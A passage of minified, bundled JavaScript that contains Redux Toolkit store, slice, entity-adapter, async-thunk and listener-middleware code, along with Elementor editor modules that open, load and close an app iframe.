0===T||T,q=(C.immutableCheck,C.serializableCheck,C.actionCreatorCheck,new Ae);return B&&(!function isBoolean(C){return"boolean"==typeof C}(B)?q.push(pe.withExtraArgument(B.extraArgument)):q.push(pe)),q}var ke=!0;function configureStore(C){var T,B=function curryGetDefaultMiddleware(){return function curriedGetDefaultMiddleware(C){return getDefaultMiddleware(C)}}(),q=C||{},L=q.reducer,U=void 0===L?void 0:L,W=q.middleware,$=void 0===W?B():W,V=q.devTools,H=void 0===V||V,K=q.preloadedState,X=void 0===K?void 0:K,G=q.enhancers,J=void 0===G?void 0:G;if("function"==typeof U)T=U;else{if(!redux_toolkit_esm_isPlainObject(U))throw new Error('"reducer" is a required argument, and must be a function or an object of functions that can be passed to combineReducers');T=combineReducers(U)}var Q=$;if("function"==typeof Q&&(Q=Q(B),!ke&&!Array.isArray(Q)))throw new Error("when using a middleware builder function, an array of middleware must be returned");if(!ke&&Q.some((function(C){return"function"!=typeof C})))throw new Error("each middleware provided to configureStore must be a function");var Z=applyMiddleware.apply(void 0,Q),Y=compose;H&&(Y=we(__spreadValues({trace:!ke},"object"==typeof H&&H)));var ee=new Se(Z),te=ee;return Array.isArray(J)?te=__spreadArray([Z],J):"function"==typeof J&&(te=J(ee)),createStore(T,X,Y.apply(void 0,te))}function executeReducerBuilderCallback(C){var T,B={},q=[],L={addCase:function(C,T){var q="string"==typeof C?C:C.type;if(!q)throw new Error("`builder.addCase` cannot be called with an empty action type");if(q in B)throw new Error("`builder.addCase` cannot be called with two reducers for the same action type");return B[q]=T,L},addMatcher:function(C,T){return q.push({matcher:C,reducer:T}),L},addDefaultCase:function(C){return T=C,L}};return C(L),[B,q,T]}function createReducer(C,T,B,q){void 0===B&&(B=[]);var L,U="function"==typeof T?executeReducerBuilderCallback(T):[T,B,q],W=U[0],$=U[1],V=U[2];if(function isStateFunction(C){return"function"==typeof C}(C))L=function(){return freezeDraftable(C())};else{var H=freezeDraftable(C);L=function(){return H}}function reducer(C,T){void 0===C&&(C=L());var B=__spreadArray([W[T.type]],$.filter((function(C){return(0,C.matcher)(T)})).map((function(C){return C.reducer})));return 0===B.filter((function(C){return!!C})).length&&(B=[V]),B.reduce((function(C,B){if(B){var q;if(r(C))return void 0===(q=B(C,T))?C:q;if(t(C))return oe(C,(function(C){return B(C,T)}));if(void 0===(q=B(C,T))){if(null===C)return C;throw Error("A case reducer on a non-draftable value must not return undefined")}return q}return C}),C)}return reducer.getInitialState=L,reducer}function createSlice(C){var T=C.name;if(!T)throw new Error("`name` is a required option for createSlice");var B,q="function"==typeof C.initialState?C.initialState:freezeDraftable(C.initialState),L=C.reducers||{},U=Object.keys(L),W={},$={},V={};function buildReducer(){var T="function"==typeof C.extraReducers?executeReducerBuilderCallback(C.extraReducers):[C.extraReducers],B=T[0],L=void 0===B?{}:B,U=T[1],W=void 0===U?[]:U,V=T[2],H=void 0===V?void 0:V,K=__spreadValues(__spreadValues({},L),$);return createReducer(q,(function(C){for(var T in K)C.addCase(T,K[T]);for(var B=0,q=W;B<q.length;B++){var L=q[B];C.addMatcher(L.matcher,L.reducer)}H&&C.addDefaultCase(H)}))}return U.forEach((function(C){var B,q,U=L[C],H=function getType2(C,T){return C+"/"+T}(T,C);"reducer"in U?(B=U.reducer,q=U.prepare):B=U,W[C]=B,$[H]=B,V[C]=q?createAction(H,q):createAction(H)})),{name:T,reducer:function(C,T){return B||(B=buildReducer()),B(C,T)},actions:V,caseReducers:W,getInitialState:function(){return B||(B=buildReducer()),B.getInitialState()}}}function createStateOperator(C){return function operation(T,B){var runMutator=function(T){!function isPayloadActionArgument(C){return isFSA(C)}(B)?C(B,T):C(B.payload,T)};return r(T)?(runMutator(T),T):oe(T,runMutator)}}function selectIdValue(C,T){return T(C)}function ensureEntitiesArray(C){return Array.isArray(C)||(C=Object.values(C)),C}function splitAddedUpdatedEntities(C,T,B){for(var q=[],L=[],U=0,W=C=ensureEntitiesArray(C);U<W.length;U++){var $=W[U],V=selectIdValue($,T);V in B.entities?L.push({id:V,changes:$}):q.push($)}return[q,L]}function createUnsortedStateAdapter(C){function addOneMutably(T,B){var q=selectIdValue(T,C);q in B.entities||(B.ids.push(q),B.entities[q]=T)}function addManyMutably(C,T){for(var B=0,q=C=ensureEntitiesArray(C);B<q.length;B++){addOneMutably(q[B],T)}}function setOneMutably(T,B){var q=selectIdValue(T,C);q in B.entities||B.ids.push(q),B.entities[q]=T}function removeManyMutably(C,T){var B=!1;C.forEach((function(C){C in T.entities&&(delete T.entities[C],B=!0)})),B&&(T.ids=T.ids.filter((function(C){return C in T.entities})))}function updateManyMutably(T,B){var q={},L={};if(T.forEach((function(C){C.id in B.entities&&(L[C.id]={id:C.id,changes:__spreadValues(__spreadValues({},L[C.id]?L[C.id].changes:null),C.changes)})})),(T=Object.values(L)).length>0){var U=T.filter((function(T){return function takeNewKey(T,B,q){var L=q.entities[B.id],U=Object.assign({},L,B.changes),W=selectIdValue(U,C),$=W!==B.id;return $&&(T[B.id]=W,delete q.entities[B.id]),q.entities[W]=U,$}(q,T,B)})).length>0;U&&(B.ids=Object.keys(B.entities))}}function upsertManyMutably(T,B){var q=splitAddedUpdatedEntities(T,C,B),L=q[0];updateManyMutably(q[1],B),addManyMutably(L,B)}return{removeAll:(T=function removeAllMutably(C){Object.assign(C,{ids:[],entities:{}})},B=createStateOperator((function(C,B){return T(B)})),function operation(C){return B(C,void 0)}),addOne:createStateOperator(addOneMutably),addMany:createStateOperator(addManyMutably),setOne:createStateOperator(setOneMutably),setMany:createStateOperator((function setManyMutably(C,T){for(var B=0,q=C=ensureEntitiesArray(C);B<q.length;B++){setOneMutably(q[B],T)}})),setAll:createStateOperator((function setAllMutably(C,T){C=ensureEntitiesArray(C),T.ids=[],T.entities={},addManyMutably(C,T)})),updateOne:createStateOperator((function updateOneMutably(C,T){return updateManyMutably([C],T)})),updateMany:createStateOperator(updateManyMutably),upsertOne:createStateOperator((function upsertOneMutably(C,T){return upsertManyMutably([C],T)})),upsertMany:createStateOperator(upsertManyMutably),removeOne:createStateOperator((function removeOneMutably(C,T){return removeManyMutably([C],T)})),removeMany:createStateOperator(removeManyMutably)};var T,B}function createEntityAdapter(C){void 0===C&&(C={});var T=__spreadValues({sortComparer:!1,selectId:function(C){return C.id}},C),B=T.selectId,q=T.sortComparer,L=function createInitialStateFactory(){return{getInitialState:function getInitialState(C){return void 0===C&&(C={}),Object.assign({ids:[],entities:{}},C)}}}(),U=function createSelectorsFactory(){return{getSelectors:function getSelectors(C){var selectIds=function(C){return C.ids},selectEntities=function(C){return C.entities},T=createDraftSafeSelector(selectIds,selectEntities,(function(C,T){return C.map((function(C){return T[C]}))})),selectId=function(C,T){return T},selectById=function(C,T){return C[T]},B=createDraftSafeSelector(selectIds,(function(C){return C.length}));if(!C)return{selectIds,selectEntities,selectAll:T,selectTotal:B,selectById:createDraftSafeSelector(selectEntities,selectId,selectById)};var q=createDraftSafeSelector(C,selectEntities);return{selectIds:createDraftSafeSelector(C,selectIds),selectEntities:q,selectAll:createDraftSafeSelector(C,T),selectTotal:createDraftSafeSelector(C,B),selectById:createDraftSafeSelector(q,selectId,selectById)}}}}(),W=q?function createSortedStateAdapter(C,T){var B=createUnsortedStateAdapter(C);function addManyMutably(T,B){var q=(T=ensureEntitiesArray(T)).filter((function(T){return!(selectIdValue(T,C)in B.entities)}));0!==q.length&&merge(q,B)}function setManyMutably(C,T){0!==(C=ensureEntitiesArray(C)).length&&merge(C,T)}function updateManyMutably(T,B){for(var q=!1,L=0,U=T;L<U.length;L++){var W=U[L],$=B.entities[W.id];if($){q=!0,Object.assign($,W.changes);var V=C($);W.id!==V&&(delete B.entities[W.id],B.entities[V]=$)}}q&&resortEntities(B)}function upsertManyMutably(T,B){var q=splitAddedUpdatedEntities(T,C,B),L=q[0];updateManyMutably(q[1],B),addManyMutably(L,B)}function merge(T,B){T.forEach((function(T){B.entities[C(T)]=T})),resortEntities(B)}function resortEntities(B){var q=Object.values(B.entities);q.sort(T);var L=q.map(C);(function areArraysEqual(C,T){if(C.length!==T.length)return!1;for(var B=0;B<C.length&&B<T.length;B++)if(C[B]!==T[B])return!1;return!0})(B.ids,L)||(B.ids=L)}return{removeOne:B.removeOne,removeMany:B.removeMany,removeAll:B.removeAll,addOne:createStateOperator((function addOneMutably(C,T){return addManyMutably([C],T)})),updateOne:createStateOperator((function updateOneMutably(C,T){return updateManyMutably([C],T)})),upsertOne:createStateOperator((function upsertOneMutably(C,T){return upsertManyMutably([C],T)})),setOne:createStateOperator((function setOneMutably(C,T){return setManyMutably([C],T)})),setMany:createStateOperator(setManyMutably),setAll:createStateOperator((function setAllMutably(C,T){C=ensureEntitiesArray(C),T.entities={},T.ids=[],addManyMutably(C,T)})),addMany:createStateOperator(addManyMutably),updateMany:createStateOperator(updateManyMutably),upsertMany:createStateOperator(upsertManyMutably)}}(B,q):createUnsortedStateAdapter(B);return __spreadValues(__spreadValues(__spreadValues({selectId:B,sortComparer:q},L),U),W)}var nanoid=function(C){void 0===C&&(C=21);for(var T="",B=C;B--;)T+="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW"[64*Math.random()|0];return T},Ce=["name","message","stack","code"],Me=function Me(C,T){this.payload=C,this.meta=T},je=function je(C,T){this.payload=C,this.meta=T},miniSerializeError=function(C){if("object"==typeof C&&null!==C){for(var T={},B=0,q=Ce;B<q.length;B++){var L=q[B];"string"==typeof C[L]&&(T[L]=C[L])}return T}return{message:String(C)}},Pe=function(){function createAsyncThunk2(C,T,B){var q=createAction(C+"/fulfilled",(function(C,T,B,q){return{payload:C,meta:__spreadProps(__spreadValues({},q||{}),{arg:B,requestId:T,requestStatus:"fulfilled"})}})),L=createAction(C+"/pending",(function(C,T,B){return{payload:void 0,meta:__spreadProps(__spreadValues({},B||{}),{arg:T,requestId:C,requestStatus:"pending"})}})),U=createAction(C+"/rejected",(function(C,T,q,L,U){return{payload:L,error:(B&&B.serializeError||miniSerializeError)(C||"Rejected"),meta:__spreadProps(__spreadValues({},U||{}),{arg:q,requestId:T,rejectedWithValue:!!L,requestStatus:"rejected",aborted:"AbortError"===(null==C?void 0:C.name),condition:"ConditionError"===(null==C?void 0:C.name)})}})),W="undefined"!=typeof AbortController?AbortController:function(){function class_1(){this.signal={aborted:!1,addEventListener:function(){},dispatchEvent:function(){return!1},onabort:function(){},removeEventListener:function(){},reason:void 0,throwIfAborted:function(){}}}return class_1.prototype.abort=function(){0},class_1}();return Object.assign((function actionCreator(C){return function($,V,H){var K,X=(null==B?void 0:B.idGenerator)?B.idGenerator(C):nanoid(),G=new W;function abort(C){K=C,G.abort()}var J=function(){return __async(this,null,(function(){var W,J,Q,Z,Y,ee;return __generator(this,(function(te){switch(te.label){case 0:return te.trys.push([0,4,,5]),function isThenable(C){return null!==C&&"object"==typeof C&&"function"==typeof C.then}(Z=null==(W=null==B?void 0:B.condition)?void 0:W.call(B,C,{getState:V,extra:H}))?[4,Z]:[3,2];case 1:Z=te.sent(),te.label=2;case 2:if(!1===Z||G.signal.aborted)throw{name:"ConditionError",message:"Aborted due to condition callback returning false."};return Y=new Promise((function(C,T){return G.signal.addEventListener("abort",(function(){return T({name:"AbortError",message:K||"Aborted"})}))})),$(L(X,C,null==(J=null==B?void 0:B.getPendingMeta)?void 0:J.call(B,{requestId:X,arg:C},{getState:V,extra:H}))),[4,Promise.race([Y,Promise.resolve(T(C,{dispatch:$,getState:V,extra:H,requestId:X,signal:G.signal,abort,rejectWithValue:function(C,T){return new Me(C,T)},fulfillWithValue:function(C,T){return new je(C,T)}})).then((function(T){if(T instanceof Me)throw T;return T instanceof je?q(T.payload,X,C,T.meta):q(T,X,C)}))])];case 3:return Q=te.sent(),[3,5];case 4:return ee=te.sent(),Q=ee instanceof Me?U(null,X,C,ee.payload,ee.meta):U(ee,X,C),[3,5];case 5:return B&&!B.dispatchConditionRejection&&U.match(Q)&&Q.meta.condition||$(Q),[2,Q]}}))}))}();return Object.assign(J,{abort,requestId:X,arg:C,unwrap:function(){return J.then(unwrapResult)}})}}),{pending:L,rejected:U,fulfilled:q,typePrefix:C})}return createAsyncThunk2.withTypes=function(){return createAsyncThunk2},createAsyncThunk2}();function unwrapResult(C){if(C.meta&&C.meta.rejectedWithValue)throw C.payload;if(C.error)throw C.error;return C.payload}var matches=function(C,T){return hasMatchFunction(C)?C.match(T):C(T)};function isAnyOf(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];return function(T){return C.some((function(C){return matches(C,T)}))}}function isAllOf(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];return function(T){return C.every((function(C){return matches(C,T)}))}}function hasExpectedRequestMetadata(C,T){if(!C||!C.meta)return!1;var B="string"==typeof C.meta.requestId,q=T.indexOf(C.meta.requestStatus)>-1;return B&&q}function isAsyncThunkArray(C){return"function"==typeof C[0]&&"pending"in C[0]&&"fulfilled"in C[0]&&"rejected"in C[0]}function isPending(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];return 0===C.length?function(C){return hasExpectedRequestMetadata(C,["pending"])}:isAsyncThunkArray(C)?function(T){var B=C.map((function(C){return C.pending}));return isAnyOf.apply(void 0,B)(T)}:isPending()(C[0])}function isRejected(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];return 0===C.length?function(C){return hasExpectedRequestMetadata(C,["rejected"])}:isAsyncThunkArray(C)?function(T){var B=C.map((function(C){return C.rejected}));return isAnyOf.apply(void 0,B)(T)}:isRejected()(C[0])}function isRejectedWithValue(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];var hasFlag=function(C){return C&&C.meta&&C.meta.rejectedWithValue};return 0===C.length||isAsyncThunkArray(C)?function(T){return isAllOf(isRejected.apply(void 0,C),hasFlag)(T)}:isRejectedWithValue()(C[0])}function isFulfilled(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];return 0===C.length?function(C){return hasExpectedRequestMetadata(C,["fulfilled"])}:isAsyncThunkArray(C)?function(T){var B=C.map((function(C){return C.fulfilled}));return isAnyOf.apply(void 0,B)(T)}:isFulfilled()(C[0])}function isAsyncThunkAction(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];return 0===C.length?function(C){return hasExpectedRequestMetadata(C,["pending","fulfilled","rejected"])}:isAsyncThunkArray(C)?function(T){for(var B=[],q=0,L=C;q<L.length;q++){var U=L[q];B.push(U.pending,U.rejected,U.fulfilled)}return isAnyOf.apply(void 0,B)(T)}:isAsyncThunkAction()(C[0])}var assertFunction=function(C,T){if("function"!=typeof C)throw new TypeError(T+" is not a function")},noop=function(){},catchRejection=function(C,T){return void 0===T&&(T=noop),C.catch(T),C},addAbortSignalListener=function(C,T){return C.addEventListener("abort",T,{once:!0}),function(){return C.removeEventListener("abort",T)}},abortControllerWithReason=function(C,T){var B=C.signal;B.aborted||("reason"in B||Object.defineProperty(B,"reason",{enumerable:!0,value:T,configurable:!0,writable:!0}),C.abort(T))},Ee="listener",xe="completed",Re="cancelled",Ie="task-"+Re,Te="task-"+xe,Ne=Ee+"-"+Re,De=Ee+"-"+xe,Be=function Be(C){this.code=C,this.name="TaskAbortError",this.message="task "+Re+" (reason: "+C+")"},validateActive=function(C){if(C.aborted)throw new Be(C.reason)};function raceWithSignal(C,T){var B=noop;return new Promise((function(q,L){var notifyRejection=function(){return L(new Be(C.reason))};C.aborted?notifyRejection():(B=addAbortSignalListener(C,notifyRejection),T.finally((function(){return B()})).then(q,L))})).finally((function(){B=noop}))}var createPause=function(C){return function(T){return catchRejection(raceWithSignal(C,T).then((function(T){return validateActive(C),T})))}},createDelay=function(C){var T=createPause(C);return function(C){return T(new Promise((function(T){return setTimeout(T,C)})))}},qe=Object.assign,Le={},ze="listenerMiddleware",createFork=function(C,T){return function(B,q){assertFunction(B,"taskExecutor");var L,U=new AbortController;L=U,addAbortSignalListener(C,(function(){return abortControllerWithReason(L,C.reason)}));var W,$,V=(W=function(){return __async(void 0,null,(function(){var T;return __generator(this,(function(q){switch(q.label){case 0:return validateActive(C),validateActive(U.signal),[4,B({pause:createPause(U.signal),delay:createDelay(U.signal),signal:U.signal})];case 1:return T=q.sent(),validateActive(U.signal),[2,T]}}))}))},$=function(){return abortControllerWithReason(U,Te)},__async(void 0,null,(function(){var C;return __generator(this,(function(T){switch(T.label){case 0:return T.trys.push([0,3,4,5]),[4,Promise.resolve()];case 1:return T.sent(),[4,W()];case 2:return[2,{status:"ok",value:T.sent()}];case 3:return[2,{status:(C=T.sent())instanceof Be?"cancelled":"rejected",error:C}];case 4:return null==$||$(),[7];case 5:return[2]}}))})));return(null==q?void 0:q.autoJoin)&&T.push(V),{result:createPause(C)(V),cancel:function(){abortControllerWithReason(U,Ie)}}}},createTakePattern=function(C,T){return function(B,q){return catchRejection(function(B,q){return __async(void 0,null,(function(){var L,U,W,$;return __generator(this,(function(V){switch(V.label){case 0:validateActive(T),L=function(){},U=new Promise((function(T,q){var U=C({predicate:B,effect:function(C,B){B.unsubscribe(),T([C,B.getState(),B.getOriginalState()])}});L=function(){U(),q()}})),W=[U],null!=q&&W.push(new Promise((function(C){return setTimeout(C,q,null)}))),V.label=1;case 1:return V.trys.push([1,,3,4]),[4,raceWithSignal(T,Promise.race(W))];case 2:return $=V.sent(),validateActive(T),[2,$];case 3:return L(),[7];case 4:return[2]}}))}))}(B,q))}},getListenerEntryPropsFrom=function(C){var T=C.type,B=C.actionCreator,q=C.matcher,L=C.predicate,U=C.effect;if(T)L=createAction(T).match;else if(B)T=B.type,L=B.match;else if(q)L=q;else if(!L)throw new Error("Creating or removing a listener requires one of the known fields for matching an action");return assertFunction(U,"options.listener"),{predicate:L,type:T,effect:U}},createListenerEntry=function(C){var T=getListenerEntryPropsFrom(C),B=T.type,q=T.predicate,L=T.effect;return{id:nanoid(),effect:L,type:B,predicate:q,pending:new Set,unsubscribe:function(){throw new Error("Unsubscribe not initialized")}}},cancelActiveListeners=function(C){C.pending.forEach((function(C){abortControllerWithReason(C,Ne)}))},createClearListenerMiddleware=function(C){return function(){C.forEach(cancelActiveListeners),C.clear()}},safelyNotifyError=function(C,T,B){try{C(T,B)}catch(C){setTimeout((function(){throw C}),0)}},Fe=createAction(ze+"/add"),Ue=createAction(ze+"/removeAll"),We=createAction(ze+"/remove"),defaultErrorHandler=function(){for(var C=[],T=0;T<arguments.length;T++)C[T]=arguments[T];console.error.apply(console,__spreadArray([ze+"/error"],C))};function createListenerMiddleware(C){var T=this;void 0===C&&(C={});var B=new Map,q=C.extra,L=C.onError,U=void 0===L?defaultErrorHandler:L;assertFunction(U,"onError");var findListenerEntry=function(C){for(var T=0,q=Array.from(B.values());T<q.length;T++){var L=q[T];if(C(L))return L}},startListening=function(C){var T=findListenerEntry((function(T){return T.effect===C.effect}));return T||(T=createListenerEntry(C)),function(C){return C.unsubscribe=function(){return B.delete(C.id)},B.set(C.id,C),function(T){C.unsubscribe(),(null==T?void 0:T.cancelActive)&&cancelActiveListeners(C)}}(T)},stopListening=function(C){var T=getListenerEntryPropsFrom(C),B=T.type,q=T.effect,L=T.predicate,U=findListenerEntry((function(C){return("string"==typeof B?C.type===B:C.predicate===L)&&C.effect===q}));return U&&(U.unsubscribe(),C.cancelActive&&cancelActiveListeners(U)),!!U},notifyListener=function(C,L,W,$){return __async(T,null,(function(){var T,V,H,K;return __generator(this,(function(X){switch(X.label){case 0:T=new AbortController,V=createTakePattern(startListening,T.signal),H=[],X.label=1;case 1:return X.trys.push([1,3,4,6]),C.pending.add(T),[4,Promise.resolve(C.effect(L,qe({},W,{getOriginalState:$,condition:function(C,T){return V(C,T).then(Boolean)},take:V,delay:createDelay(T.signal),pause:createPause(T.signal),extra:q,signal:T.signal,fork:createFork(T.signal,H),unsubscribe:C.unsubscribe,subscribe:function(){B.set(C.id,C)},cancelActiveListeners:function(){C.pending.forEach((function(C,B,q){C!==T&&(abortControllerWithReason(C,Ne),q.delete(C))}))}})))];case 2:return X.sent(),[3,6];case 3:return(K=X.sent())instanceof Be||safelyNotifyError(U,K,{raisedBy:"effect"}),[3,6];case 4:return[4,Promise.allSettled(H)];case 5:return X.sent(),abortControllerWithReason(T,De),C.pending.delete(T),[7];case 6:return[2]}}))}))},W=createClearListenerMiddleware(B);return{middleware:function(C){return function(T){return function(q){if(!isAction(q))return T(q);if(Fe.match(q))return startListening(q.payload);if(!Ue.match(q)){if(We.match(q))return stopListening(q.payload);var L,$=C.getState(),getOriginalState=function(){if($===Le)throw new Error(ze+": getOriginalState can only be called synchronously");return $};try{if(L=T(q),B.size>0)for(var V=C.getState(),H=Array.from(B.values()),K=0,X=H;K<X.length;K++){var G=X[K],J=!1;try{J=G.predicate(q,V,$)}catch(C){J=!1,safelyNotifyError(U,C,{raisedBy:"predicate"})}J&&notifyListener(G,q,C,getOriginalState)}}finally{$=Le}return L}W()}}},startListening,stopListening,clearListeners:W}}var $e,Ve="RTK_autoBatch",prepareAutoBatched=function(){return function(C){var T;return{payload:C,meta:(T={},T[Ve]=!0,T)}}},He="function"==typeof queueMicrotask?queueMicrotask.bind("undefined"!=typeof window?window:void 0!==B.g?B.g:globalThis):function(C){return($e||($e=Promise.resolve())).then(C).catch((function(C){return setTimeout((function(){throw C}),0)}))},createQueueWithTimer=function(C){return function(T){setTimeout(T,C)}},Ke="undefined"!=typeof window&&window.requestAnimationFrame?window.requestAnimationFrame:createQueueWithTimer(10),autoBatchEnhancer=function(C){return void 0===C&&(C={type:"raf"}),function(T){return function(){for(var B=[],q=0;q<arguments.length;q++)B[q]=arguments[q];var L=T.apply(void 0,B),U=!0,W=!1,$=!1,V=new Set,H="tick"===C.type?He:"raf"===C.type?Ke:"callback"===C.type?C.queueNotification:createQueueWithTimer(C.timeout),notifyListeners=function(){$=!1,W&&(W=!1,V.forEach((function(C){return C()})))};return Object.assign({},L,{subscribe:function(C){var T=L.subscribe((function(){return U&&C()}));return V.add(C),function(){T(),V.delete(C)}},dispatch:function(C){var T;try{return U=!(null==(T=null==C?void 0:C.meta)?void 0:T[Ve]),(W=!U)&&($||($=!0,H(notifyListeners))),L.dispatch(C)}finally{U=!0}}})}}};F()},76535:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=T.Close=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}var H=T.Close=function(C){function Close(){return(0,L.default)(this,Close),function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,Close,arguments)}return(0,V.default)(Close,C),(0,U.default)(Close,[{key:"apply",value:function apply(){return!!this.component.close()&&(this.component.iframe.remove(),this.component.iframe=null,!0)}}])}($e.modules.CommandBase);T.default=H},7375:(C,T,B)=>{"use strict";Object.defineProperty(T,"__esModule",{value:!0}),Object.defineProperty(T,"Close",{enumerable:!0,get:function get(){return q.Close}}),Object.defineProperty(T,"Load",{enumerable:!0,get:function get(){return L.Load}}),Object.defineProperty(T,"Open",{enumerable:!0,get:function get(){return U.Open}});var q=B(76535),L=B(30735),U=B(11843)},30735:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=T.Load=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}var H=T.Load=function(C){function Load(){return(0,L.default)(this,Load),function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,Load,arguments)}return(0,V.default)(Load,C),(0,U.default)(Load,[{key:"apply",value:function apply(C){var T=this.component;T.iframe||(T.iframe=document.createElement("iframe"),T.iframe.className="elementor-app-iframe",T.iframe.style.cssText="display: none;width: 100%;height: 100%;position: fixed;top: 0;left: 0;z-index: 99999; /* Over WP Admin Bar */background-color: rgba(0, 0, 0, 0.8);",document.body.appendChild(T.iframe)),C.url!==T.iframe.src&&(T.iframe.src=C.url)}}])}($e.modules.CommandBase);T.default=H},11843:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=T.Open=void 0;var L=q(B(39805)),U=q(B(40989)),W=q(B(15118)),$=q(B(29402)),V=q(B(87861));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}var H=T.Open=function(C){function Open(){return(0,L.default)(this,Open),function _callSuper(C,T,B){return T=(0,$.default)(T),(0,W.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,$.default)(C).constructor):T.apply(C,B))}(this,Open,arguments)}return(0,V.default)(Open,C),(0,U.default)(Open,[{key:"apply",value:function apply(C){return $e.route("app",C),!0}}])}($e.modules.CommandBase);T.default=H},49175:(C,T,B)=>{"use strict";var q=B(96784),L=B(10564);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var U=q(B(39805)),W=q(B(40989)),$=q(B(15118)),V=q(B(29402)),H=q(B(87861)),K=q(B(40397)),X=function _interopRequireWildcard(C,T){if(!T&&C&&C.__esModule)return C;if(null===C||"object"!=L(C)&&"function"!=typeof C)return{default:C};var B=_getRequireWildcardCache(T);if(B&&B.has(C))return B.get(C);var q={__proto__:null},U=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var W in C)if("default"!==W&&{}.hasOwnProperty.call(C,W)){var $=U?Object.getOwnPropertyDescriptor(C,W):null;$&&($.get||$.set)?Object.defineProperty(q,W,$):q[W]=C[W]}return q.default=C,B&&B.set(C,q),q}(B(7375));function _getRequireWildcardCache(C){if("function"!=typeof WeakMap)return null;var T=new WeakMap,B=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(C){return C?B:T})(C)}function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}T.default=function(C){function Component(){return(0,U.default)(this,Component),function _callSuper(C,T,B){return T=(0,V.default)(T),(0,$.default)(C,_isNativeReflectConstruct()?Reflect.construct(T,B||[],(0,V.default)(C).constructor):T.apply(C,B))}(this,Component,arguments)}return(0,H.default)(Component,C),(0,W.default)(Component,[{key:"getNamespace",value:function getNamespace(){return"app"}},{key:"defaultRoutes",value:function defaultRoutes(){var C=this;return{"":function _(T){T.url=T.url||elementorAppConfig.menu_url,$e.run("app/load",T),C.iframe.style.display="",document.body.style.overflow="hidden"}}}},{key:"defaultCommands",value:function defaultCommands(){return this.importCommands(X)}},{key:"defaultShortcuts",value:function defaultShortcuts(){return{"":{keys:"ctrl+shift+e"},close:{keys:"esc",scopes:[this.getNamespace()]}}}}])}(K.default)},15213:(C,T)=>{"use strict";function _createForOfIteratorHelper(C,T){var B="undefined"!=typeof Symbol&&C[Symbol.iterator]||C["@@iterator"];if(!B){if(Array.isArray(C)||(B=function _unsupportedIterableToArray(C,T){if(C){if("string"==typeof C)return _arrayLikeToArray(C,T);var B={}.toString.call(C).slice(8,-1);return"Object"===B&&C.constructor&&(B=C.constructor.name),"Map"===B||"Set"===B?Array.from(C):"Arguments"===B||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(B)?_arrayLikeToArray(C,T):void 0}}(C))||T&&C&&"number"==typeof C.length){B&&(C=B);var q=0,L=function F(){};return{s:L,n:function n(){return q>=C.length?{done:!0}:{done:!1,value:C[q++]}},e:function e(C){throw C},f:L}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var U,W=!0,$=!1;return{s:function s(){B=B.call(C)},n:function n(){var C=B.next();return W=C.done,C},e:function e(C){$=!0,U=C},f:function f(){try{W||null==B.return||B.return()}finally{if($)throw U}}}}function _arrayLikeToArray(C,T){(null==T||T>C.length)&&(T=C.length);for(var B=0,q=Array(T);B<T;B++)q[B]=C[B];return q}Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;T.default=function _default(C,T){var B,q=_createForOfIteratorHelper(T=Array.isArray(T)?T:[T]);try{for(q.s();!(B=q.n()).done;){var L=B.value;if(C.constructor.name===L.prototype[Symbol.toStringTag])return!0}}catch(C){q.e(C)}finally{q.f()}return!1}},82946:(C,T,B)=>{"use strict";var q=B(96784);Object.defineProperty(T,"__esModule",{value:!0}),T.default=void 0;var L=q(B(10564)),U=q(B(39805)),W=q(B(40989)),$=q(B(15118)),V=q(B(29402)),H=q(B(87861)),K=q(B(70751)),X=q(B(15213));function _isNativeReflectConstruct(){try{var C=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){})))}catch(C){}return(_isNativeReflectConstruct=function _isNativeReflectConstruct(){return!!C})()}T.default=function(C){function ArgsObject(C){var T;return(0,U.default)(this,ArgsObject),(T=function _callSuper(C,T,B){return 